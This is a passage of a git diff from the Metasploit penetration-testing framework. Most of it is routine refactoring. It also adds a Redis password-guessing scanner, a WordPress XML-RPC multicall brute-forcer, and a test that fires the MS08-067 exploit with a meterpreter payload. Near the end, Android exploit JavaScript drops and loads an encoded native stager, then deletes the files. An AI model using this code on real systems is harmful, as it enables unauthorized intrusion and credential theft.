exiting Metasploit or accept 'exit -y']" \ "-c[Load the specified configuration file]:configuration file:_files" \ - {-d,--defanged}"[Execute the console as defanged]" \ {-E,--environment}"[Specify the database environment to load from the configuration]:environment:(production development)" \ {-h,--help}"[Show help text]" \ {-L,--real-readline}"[Use the system Readline library instead of RbReadline]" \ diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature index e23730be1c..fa6001a720 100644 --- a/features/modules/exploit/smb/ms08_067_netapi.feature +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -1,181 +1,27 @@ -@wip +@targets @db Feature: MS08-067 netapi Background: Given a directory named "home" And I cd to "home" And a mocked home directory - Given I run `msfconsole` interactively - And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" - Scenario: The MS08-067 Module should have the following options - When I type "use exploit/windows/smb/ms08_067_netapi" - And I type "show options" - And I type "exit" - Then the output should contain: + Scenario: The MS08-067 should get a session with bind_tcp + Given I ready the windows targets + Given a file named "ms08-067-bind.rc" with: """ - Module options (exploit/windows/smb/ms08_067_netapi): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - RHOST yes The target address - RPORT 445 yes Set the SMB service port - SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) - - - Exploit target: - - Id Name - -- ---- - 0 Automatic Targeting - + + hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml') + self.run_single('use exploit/windows/smb/ms08_067_netapi') + self.run_single('set payload windows/meterpreter/bind_tcp') + hosts.each do |host| + self.run_single("set RHOST #{host['ipAddress']}") + self.run_single('run -j') + sleep 1 + end + self.run_single('sessions -K') + """ - - Scenario: The MS08-067 Module should have the following advanced options - When I type "use exploit/windows/smb/ms08_067_netapi" - And I type "show advanced" - And I type "exit" - Then the output should contain: - """ - Module advanced options: - - Name : CHOST - Current Setting: - Description : The local client address - - Name : CPORT - Current Setting: - Description : The local client port - - Name : ConnectTimeout - Current Setting: 10 - Description : Maximum number of seconds to establish a TCP connection - - Name : ContextInformationFile - Current Setting: - Description : The information file that contains context information - - Name : DCERPC::ReadTimeout - Current Setting: 10 - Description : The number of seconds to wait for DCERPC responses - - Name : DisablePayloadHandler - Current Setting: false - Description : Disable the handler code for the selected payload - - Name : EnableContextEncoding - Current Setting: false - Description : Use transient context when encoding payloads - - Name : NTLM::SendLM - Current Setting: true - Description : Always send the LANMAN response (except when NTLMv2_session is - specified) - - Name : NTLM::SendNTLM - Current Setting: true - Description : Activate the 'Negotiate NTLM key' flag, indicating the use of - NTLM responses - - Name : NTLM::SendSPN - Current Setting: true - Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow - authentification on windows Seven/2008r2 when SPN is required - - Name : NTLM::UseLMKey - Current Setting: false - Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key - when the LM response is sent - - Name : NTLM::UseNTLM2_session - Current Setting: true - Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a - NTLMv2_session - - Name : NTLM::UseNTLMv2 - Current Setting: true - Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key - is true - - Name : Proxies - Current Setting: - Description : A proxy chain of format type:host:port[,type:host:port][...] - - Name : SMB::ChunkSize - Current Setting: 500 - Description : The chunk size for SMB segments, bigger values will increase - speed but break NT 4.0 and SMB signing - - Name : SMB::Native_LM - Current Setting: Windows 2000 5.0 - Description : The Native LM to send during authentication - - Name : SMB::Native_OS - Current Setting: Windows 2000 2195 - Description : The Native OS to send during authentication - - Name : SMB::VerifySignature - Current Setting: false - Description : Enforces client-side verification of server response signatures - - Name : SMBDirect - Current Setting: true - Description : The target port is a raw SMB service (not NetBIOS) - - Name : SMBDomain - Current Setting: . - Description : The Windows domain to use for authentication - - Name : SMBName - Current Setting: *SMBSERVER - Description : The NetBIOS hostname (required for port 139 connections) - - Name : SMBPass - Current Setting: - Description : The password for the specified username - - Name : SMBUser - Current Setting: - Description : The username to authenticate as - - Name : SSL - Current Setting: false - Description : Negotiate SSL for outgoing connections - - Name : SSLCipher - Current Setting: - Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" - - Name : SSLVerifyMode - Current Setting: PEER - Description : SSL verification method (Accepted: CLIENT_ONCE, - FAIL_IF_NO_PEER_CERT, NONE, PEER) - - Name : SSLVersion - Current Setting: SSL3 - Description : Specify the version of SSL that should be used (Accepted: SSL2, - SSL3, TLS1) - - Name : VERBOSE - Current Setting: false - Description : Enable detailed status messages - - Name : WORKSPACE - Current Setting: - Description : Specify the workspace for this module - - Name : WfsDelay - Current Setting: 0 - Description : Additional delay when waiting for a session - """ - - @targets - Scenario: Show RHOST/etc variable expansion from a config file - When I type "use exploit/windows/smb/ms08_067_netapi" - When RHOST is WINDOWS - And I type "set PAYLOAD windows/meterpreter/bind_tcp" - And I type "show options" - And I type "run" - And I type "exit" - And I type "exit" - Then the output should match /spider-wxp/ + When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit` + Then the 'Mdm::Host' table contains the expected targets + \ No newline at end of file diff --git a/features/step_definitions/targets.rb b/features/step_definitions/targets.rb deleted file mode 100644 index 7c14393d0e..0000000000 --- a/features/step_definitions/targets.rb +++ /dev/null @@ -1,10 +0,0 @@ -When /^targets are loaded$/ do - config_file = File.expand_path('features/support/targets.yml') - fail "Target config file #{config_file} does not exist" unless File.exists?(config_file) - @target_config = YAML.load_file(config_file) -end - -When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type| - fail "No target type #{target_type}" unless @target_config.key?(target_type) - step "I type \"set #{type} #{@target_config[target_type]}\"" -end diff --git a/features/support/hooks.rb b/features/support/hooks.rb index ff8ec3133c..0707c96444 100644 --- a/features/support/hooks.rb +++ b/features/support/hooks.rb @@ -26,4 +26,9 @@ unless Bundler.settings.without.include?(:coverage) # set environment variable so child processes will merge their coverage data with parent process's coverage data. set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}") end + + Before('@db') do |scenario| + dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname)) + ActiveRecord::Base.establish_connection(dbconfig["test"]) + end end diff --git a/features/support/targets.yml.example b/features/support/targets.yml.example index 75f4b9915d..0752a6cc7e 100644 --- a/features/support/targets.yml.example +++ b/features/support/targets.yml.example @@ -1,2 +1,7 @@ -WINDOWS: spider-wxp.vuln.lax.rapid7.com -LINUX: spider-ubuntu.vuln.lax.rapid7.com +windows: + - + hostname: wxpsp0 + ip: 127.0.0.100 + - + hostname: wxpsp2 + ip: 127.0.0.101 diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb index 797d8dcdc0..cc28346152 100644 --- a/lib/metasploit/framework/command/console.rb +++ b/lib/metasploit/framework/command/console.rb @@ -80,7 +80,6 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command:: driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths driver_options['DatabaseYAML'] = options.database.config driver_options['DeferModuleLoads'] = options.modules.defer_loads - driver_options['Defanged'] = options.console.defanged driver_options['DisableBanner'] = options.console.quiet driver_options['DisableDatabase'] = options.database.disable driver_options['LocalOutput'] = options.console.local_output diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb index f098144dc7..e968b0f75f 100644 --- a/lib/metasploit/framework/common_engine.rb +++ b/lib/metasploit/framework/common_engine.rb @@ -36,7 +36,7 @@ module Metasploit::Framework::CommonEngine config.paths.add 'data/meterpreter', glob: '**/ext_*' config.paths.add 'modules' - config.active_support.deprecation = :notify + config.active_support.deprecation = :stderr # # `initializer`s diff --git a/lib/metasploit/framework/login_scanner/caidao.rb b/lib/metasploit/framework/login_scanner/caidao.rb index 28eb0a7c7b..1907f96a4a 100644 --- a/lib/metasploit/framework/login_scanner/caidao.rb +++ b/lib/metasploit/framework/login_scanner/caidao.rb @@ -43,6 +43,7 @@ module Metasploit def set_sane_defaults self.method = "POST" if self.method.nil? + super end # Actually doing the login. Called by #attempt_login diff --git a/lib/metasploit/framework/login_scanner/redis.rb b/lib/metasploit/framework/login_scanner/redis.rb new file mode 100644 index 0000000000..dc0d12f3b0 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/redis.rb @@ -0,0 +1,91 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with REDIS. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + + class Redis + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 6379 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'redis' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method can create redis command which can be read by redis server + def redis_proto(command_parts) + return if command_parts.blank? + command = "*#{command_parts.length}\r\n" + command_parts.each do |p| + command << "$#{p.length}\r\n#{p}\r\n" + end + command + end + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + host: host, + port: port, + protocol: 'tcp', + service_name: 'redis' + } + + disconnect if self.sock + + begin + connect + select([sock], nil, nil, 0.4) + + command = redis_proto(['AUTH', "#{credential.private}"]) + sock.put(command) + result_options[:proof] = sock.get_once + + # No password - ( -ERR Client sent AUTH, but no password is set\r\n ) + # Invalid password - ( -ERR invalid password\r\n ) + # Valid password - (+OK\r\n) + + if result_options[:proof] && result_options[:proof] =~ /but no password is set/i + result_options[:status] = Metasploit::Model::Login::Status::NO_AUTH_REQUIRED + elsif result_options[:proof] && result_options[:proof] =~ /^-ERR invalid password/i + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + elsif result_options[:proof] && result_options[:proof][/^\+OK/] + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + disconnect if self.sock + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb index 069d1de5ec..cdc4bf71c9 100644 --- a/lib/metasploit/framework/login_scanner/ssh.rb +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -78,7 +78,7 @@ module Metasploit opt_hash ) end - rescue ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e + rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) rescue Net::SSH::Exception result_options.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: e) diff --git a/lib/metasploit/framework/login_scanner/wordpress_multicall.rb b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb new file mode 100644 index 0000000000..eaeb9aedf8 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb @@ -0,0 +1,150 @@ +require 'metasploit/framework/login_scanner/http' +require 'nokogiri' + +module Metasploit + module Framework + module LoginScanner + + class WordpressMulticall < HTTP + + # @!attribute passwords + # @return [Array] + attr_accessor :passwords + + # @!attribute chunk_size, limits number of passwords per XML request + # @return [Fixnum] + attr_accessor :chunk_size + + # @!attribute block_wait, time to wait if got blocked by the target + # @return [Fixnum] + attr_accessor :block_wait + + # @!attribute base_uri + # @return [String] + attr_accessor :base_uri + + # @!attribute wordpress_url_xmlrpc + # @return [String] + attr_accessor :wordpress_url_xmlrpc + + + def set_default + self.wordpress_url_xmlrpc = 'xmlrpc.php' + self.block_wait = 6 + self.base_uri = '/' + self.chunk_size = 1700 + end + + # Returns the XML data that is used for the login. + # + # @param user [String] username + # @return [Array] + def generate_xml(user) + xml_payloads = [] + + # Evil XML | Limit number of log-ins to CHUNKSIZE/request due + # Wordpress limitation which is 1700 maximum. + passwords.each_slice(chunk_size) do |pass_group| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} + end + xml_payloads << document.to_xml + end + + xml_payloads + end + + # Sends an HTTP request to Wordpress. + # + # @param xml [String] XML data. + # @return [void] + def send_wp_request(xml) + opts = + { + 'method' => 'POST', + 'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"), + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + req = client.request_cgi(opts) + res = client.send_recv(req) + + if res && res.code != 200 + sleep(block_wait * 60) + end + + @res = res + end + + + # Attempts to login. + # + # @param credential [Metasploit::Framework::Credential] + # @return [Metasploit::Framework::LoginScanner::Result] + def attempt_login(credential) + generate_xml(credential.public).each do |xml| + send_wp_request(xml) + req_xml = Nokogiri::Slop(xml) + res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join) + res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| + result = value.at("struct/member/value/int") + if result.nil? + pass = req_xml.search("data/value/array/data")[i].value[1].text.strip + credential.private = pass + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) + return Result.new(result_opts) + end + end + end + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) + return Result.new(result_opts) + end + + end + end + end +end + + diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index 8b67147a67..51265384fc 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -78,4 +78,3 @@ module Metasploit end end - diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb index 66052a00d6..0789cf06ae 100644 --- a/lib/metasploit/framework/parsed_options/console.rb +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -10,7 +10,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par options.console.commands = [] options.console.confirm_exit = false - options.console.defanged = false options.console.local_output = nil options.console.plugins = [] options.console.quiet = false @@ -40,10 +39,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par options.console.confirm_exit = true end - option_parser.on('-d', '--defanged', 'Execute the console as defanged') do - options.console.defanged = true - end - option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do options.console.real_readline = true end diff --git a/lib/metasploit/framework/require.rb b/lib/metasploit/framework/require.rb index 8f398aa355..217c8f8b1f 100644 --- a/lib/metasploit/framework/require.rb +++ b/lib/metasploit/framework/require.rb @@ -49,7 +49,7 @@ module Metasploit # # @return [void] def self.optionally_active_record_railtie - if ::File.exist?(Rails.application.config.paths['config/database'].first) + if ::Rails.application.config.paths['config/database'].any? optionally( 'active_record/railtie', 'activerecord not in the bundle, so database support will be disabled.' diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index db431e0d3c..93ae4be7e4 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.11.8" + VERSION = "4.11.20" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index 4878180280..ca31d16d87 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -27,7 +27,7 @@ class Config < Hash # @return [String] the base configuration directory def self.get_config_root - # Use MSFCFGDIR environment variable first. See feature request #5797 + # Use MSF_CFGROOT_CONFIG environment variable first. val = Rex::Compat.getenv('MSF_CFGROOT_CONFIG') if (val and File.directory?(val)) return val diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index e912cbb6f5..ae2cca777a 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -524,18 +524,18 @@ class ReadableText def self.dump_sessions(framework, opts={}) ids = (opts[:session_ids] || framework.sessions.keys).sort verbose = opts[:verbose] || false + show_extended = opts[:show_extended] || false indent = opts[:indent] || DefaultIndent col = opts[:col] || DefaultColumnWrap return dump_sessions_verbose(framework, opts) if verbose - columns = - [ - 'Id', - 'Type', - 'Information', - 'Connection' - ] + columns = [] + columns << 'Id' + columns << 'Type' + columns << 'Checkin?' if show_extended + columns << 'Information' + columns << 'Connection' tbl = Rex::Ui::Text::Table.new( 'Indent' => indent, @@ -551,11 +551,22 @@ class ReadableText sinfo = sinfo[0,77] + "..." end - row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ] - if session.respond_to? :platform - row[1] << (" " + session.platform) + row = [] + row << session.sid.to_s + row << session.type.to_s + row[-1] << (" " + session.platform) if session.respond_to?(:platform) + + if show_extended + if session.respond_to?(:last_checkin) && session.last_checkin + row << "#{(Time.now.to_i - session.last_checkin.to_i)}s ago" + else + row << '?' + end end + row << sinfo + row << session.tunnel_to_s + " (#{session.session_host})" + tbl << row } diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index d22ac17dbc..86b5ab5e68 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -216,7 +216,7 @@ class CommandShell end end - if (datastore['InitialAutoRunScript'] && datastore['InitialAutoRunScript'].empty? == false) + if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty? args = Shellwords.shellwords( datastore['InitialAutoRunScript'] ) print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'") execute_script(args.shift, *args) diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 789f25c801..b2863874e8 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -37,13 +37,13 @@ module MeterpreterOptions framework.sessions.schedule Proc.new { # Configure unicode encoding before loading stdapi - session.encode_unicode = ( datastore['EnableUnicodeEncoding'] ? true : false ) + session.encode_unicode = datastore['EnableUnicodeEncoding'] session.init_ui(self.user_input, self.user_output) valid = true - if datastore['AutoVerifySession'] == true + if datastore['AutoVerifySession'] if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i) print_error("Meterpreter session #{session.sid} is not valid and will be closed") valid = false @@ -52,7 +52,7 @@ module MeterpreterOptions if valid - if datastore['AutoLoadStdapi'] == true + if datastore['AutoLoadStdapi'] session.load_stdapi @@ -72,7 +72,7 @@ module MeterpreterOptions end [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| - if (datastore[key].empty? == false) + if !datastore[key].empty? args = Shellwords.shellwords( datastore[key] ) print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") session.execute_script(args.shift, *args) diff --git a/lib/msf/base/sessions/vncinject_options.rb b/lib/msf/base/sessions/vncinject_options.rb index 05962133fc..d86a5f4dbd 100644 --- a/lib/msf/base/sessions/vncinject_options.rb +++ b/lib/msf/base/sessions/vncinject_options.rb @@ -84,7 +84,7 @@ module VncInjectOptions print_status("Local TCP relay started.") # If the AUTOVNC flag is set, launch VNC viewer. - if (datastore['AUTOVNC'] == true) + if datastore['AUTOVNC'] if (session.autovnc(datastore['ViewOnly'])) print_status("Launched vncviewer.") else diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index d2ba08fc3f..4b91f1b15b 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -21,7 +21,7 @@ module Msf allowed_module_paths << Msf::Config.user_module_directory end - Rails.application.railties.engines.each do |engine| + ::Rails::Engine.subclasses.map(&:instance).each do |engine| extract_engine_module_paths(engine).each do |path| allowed_module_paths << path end diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 2517d900db..4fd18ca9c3 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -25,7 +25,8 @@ module Auxiliary::HttpCrawler OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]), OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']), - OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION']) + OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION']), + OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]) ], self.class ) @@ -43,8 +44,7 @@ module Auxiliary::HttpCrawler OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]), OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]), - OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL23', 'SSL3', 'TLS1']]), + Opt::SSLVersion ], self.class ) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 20714c8eb3..9867ad0664 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -20,7 +20,7 @@ module Msf register_options( [ Opt::RPORT(6379), - OptString.new('Password', [false, 'Redis password for authentication test', 'foobared']) + OptString.new('PASSWORD', [false, 'Redis password for authentication test', 'foobared']) ] ) @@ -48,29 +48,29 @@ module Msf def redis_command(*commands) command_string = printable_redis_response(commands.join(' ')) unless (command_response = send_redis_command(*commands)) - vprint_error("#{peer} -- no response to '#{command_string}'") + vprint_error("No response to '#{command_string}'") return end if /(?ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password'] - vprint_status("#{peer} -- requires authentication (#{printable_redis_response(auth_response, false)})") - if (auth_response = send_redis_command('AUTH', datastore['Password'])) + vprint_status("Requires authentication (#{printable_redis_response(auth_response, false)})") + if (auth_response = send_redis_command('AUTH', datastore['PASSWORD'])) unless auth_response =~ /\+OK/ - vprint_error("#{peer} -- authentication failure: #{printable_redis_response(auth_response)}") + vprint_error("Authentication failure: #{printable_redis_response(auth_response)}") return end - vprint_status("#{peer} -- authenticated") + vprint_status("Authenticated") unless (command_response = send_redis_command(*commands)) - vprint_error("#{peer} -- no response to '#{command_string}'") + vprint_error("No response to '#{command_string}'") return end else - vprint_status("#{peer} -- authentication failed; no response") + vprint_status("Authentication failed; no response") return end end - vprint_status("#{peer} -- redis command '#{command_string}' got '#{printable_redis_response(command_response)}'") + vprint_status("Redis command '#{command_string}' got '#{printable_redis_response(command_response)}'") command_response end diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index ac4991cbf0..43b4c4c905 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -42,6 +42,11 @@ def check end +def peer + # IPv4 addr can be 16 chars + 1 for : and + 5 for port + super.ljust(21) +end + # # The command handler when launched from the console # diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index f4da1911e0..81a3e2ed55 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -13,6 +13,7 @@ class DataStore < Hash # Initializes the data store's internal state. # def initialize() + @options = Hash.new @imported = Hash.new @imported_by = Hash.new end @@ -26,6 +27,16 @@ class DataStore < Hash @imported[k] = false @imported_by[k] = nil + opt = @options[k] + unless opt.nil? + if opt.validate_on_assignment? + unless opt.valid?(v) + raise OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"]) + end + v = opt.normalize(v) + end + end + super(k,v) end @@ -65,17 +76,11 @@ class DataStore < Hash # all of the supplied options # def import_options(options, imported_by = nil, overwrite = false) - options.each_option { |name, opt| - # If there's already a value defined for this option, then skip it - # and don't import it. - next if self.has_key?(name) and overwrite == false - - # If the option has a default value, import it, but only if the - # datastore doesn't already have a value set for it. - if ((opt.default != nil) and (overwrite or self[name] == nil)) - import_option(name, opt.default.to_s, true, imported_by) + options.each_option do |name, opt| + if self[name].nil? || overwrite + import_option(name, opt.default, true, imported_by, opt) end - } + end end # @@ -124,13 +129,14 @@ class DataStore < Hash # def import_options_from_hash(option_hash, imported = true, imported_by = nil) option_hash.each_pair { |key, val| - import_option(key, val.to_s, imported, imported_by) + import_option(key, val, imported, imported_by) } end - def import_option(key, val, imported=true, imported_by=nil) + def import_option(key, val, imported=true, imported_by=nil, option=nil) self.store(key, val) + @options[key] = option @imported[key] = imported @imported_by[key] = imported_by end diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 60d421b617..4e4ba8315c 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -163,14 +163,4 @@ class Msf::DBManager true end - - # Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6. - # Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond. - def warn_about_rubies - if ::RUBY_VERSION =~ /^1\.9\.[012]($|[^\d])/ - $stderr.puts "**************************************************************************************" - $stderr.puts "Metasploit requires at least Ruby 1.9.3. For an easy upgrade path, see https://rvm.io/" - $stderr.puts "**************************************************************************************" - end - end end diff --git a/lib/msf/core/db_manager/import.rb b/lib/msf/core/db_manager/import.rb index c93fb6cb5b..c5a0e9d8d4 100644 --- a/lib/msf/core/db_manager/import.rb +++ b/lib/msf/core/db_manager/import.rb @@ -16,7 +16,8 @@ module Msf::DBManager::Import autoload :Acunetix, 'msf/core/db_manager/import/acunetix' autoload :Amap, 'msf/core/db_manager/import/amap' autoload :Appscan, 'msf/core/db_manager/import/appscan' - autoload :Burp, 'msf/core/db_manager/import/burp' + autoload :BurpIssue, 'msf/core/db_manager/import/burp_issue' + autoload :BurpSession, 'msf/core/db_manager/import/burp_session' autoload :CI, 'msf/core/db_manager/import/ci' autoload :Foundstone, 'msf/core/db_manager/import/foundstone' autoload :FusionVM, 'msf/core/db_manager/import/fusion_vm' @@ -41,7 +42,8 @@ module Msf::DBManager::Import include Msf::DBManager::Import::Acunetix include Msf::DBManager::Import::Amap include Msf::DBManager::Import::Appscan - include Msf::DBManager::Import::Burp + include Msf::DBManager::Import::BurpIssue + include Msf::DBManager::Import::BurpSession include Msf::DBManager::Import::CI include Msf::DBManager::Import::Foundstone include Msf::DBManager::Import::FusionVM @@ -267,6 +269,9 @@ module Msf::DBManager::Import elsif (data[0,1024] =~ / '+libraryPath]).waitFor(); - runtime.exec(['chmod', '700', libraryPath]).waitFor(); - - // build the stage, chmod it, and load it - runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); - runtime.exec(['chmod', '700', stagePath]).waitFor(); - - // load the library - runtime.load(libraryPath); - - // delete dropped files - runtime.exec(['rm', stagePath]).waitFor(); - runtime.exec(['rm', libraryPath]).waitFor(); + #{payload.arch[0] == ARCH_DALVIK ? stager_js(arch) : linux_exe_js(arch)} return true; } @@ -84,6 +55,62 @@ module Exploit::Android | end + def stager_js(arch) + stagename = Rex::Text.rand_text_alpha(5) + %Q| + // libraryData contains the bytes for a native shared object built via NDK + // which will load the "stage", which in this case is our android meterpreter stager. + var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; + + // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains + // another stager which loads android meterpreter from the msf handler. + var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; + + // get the process name, which will give us our data path + // $PPID does not seem to work on android 4.0, so we concat pids manually + var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; + var stagePath = path + '/#{stagename}.apk'; + + // build the library and chmod it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); + runtime.exec(['chmod', '700', libraryPath]).waitFor(); + + // build the stage, chmod it, and load it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); + runtime.exec(['chmod', '700', stagePath]).waitFor(); + + // load the library + runtime.load(libraryPath); + + // delete dropped files + runtime.exec(['rm', stagePath]).waitFor(); + 